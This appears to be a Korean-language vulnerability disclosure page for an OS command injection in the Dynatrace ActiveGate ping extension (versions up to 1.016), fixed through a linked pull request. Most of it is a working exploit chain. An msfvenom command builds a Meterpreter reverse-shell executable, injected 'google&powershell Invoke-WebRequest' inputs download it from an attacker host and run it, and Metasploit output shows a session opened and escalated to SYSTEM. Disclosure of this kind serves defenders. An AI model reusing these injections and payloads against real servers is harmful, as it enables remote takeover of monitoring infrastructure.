pentastic-be/cve-2025-613041.016까지의 Dynatrace ActiveGate ping 확장 프로그램에서 조작된 IP 주소를 통해 발생하는 OS 명령 주입 취약점
"조작된 IP 주소를 통한 Dynatrace ActiveGate ping 확장 프로그램(최대 1.016)의 OS 명령 주입 취약점"
내부적으로 ping 확장 프로그램은 Windows 명령 프롬프트를 사용하여 ping을 수행합니다. Test Target Host 입력 필드의 길이도 1024자입니다. IP 주소 뒤에 '&'를 사용하기만 하면 ActiveGate가 실행할 추가 명령을 작성할 수 있습니다.
Dynatrace에 보고되었으며 다음 커밋으로 수정되었습니다: https://github.com/Dynatrace/dynatrace-api/pull/99
사용자 추가를 위한 RCE 악용:
로컬 사용자 목록(전후):
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.51.200 LPORT=4444 -f exe > mshell.exe
google&powershell.exe $ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest http://192.168.51.200/mshell.exe -OutFile c:\test\mshell.exe
google&c:\test\mshell.exe
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.51.200:4444
[*] Sending stage (200262 bytes) to 192.168.51.54
[*] Meterpreter session 3 opened (192.168.51.200:4444 -> 192.168.51.54:49800 ) at 2023-01-21 19:02:16 +0100
meterpreter > getuid
Server username: NT AUTHORITY\LOCAL SERVICE
meterpreter > getsystem
...got system via technique 5 (Named Pipe Impersonation (PrintSpooler variant)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-9493M3CRTDV
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x64/windows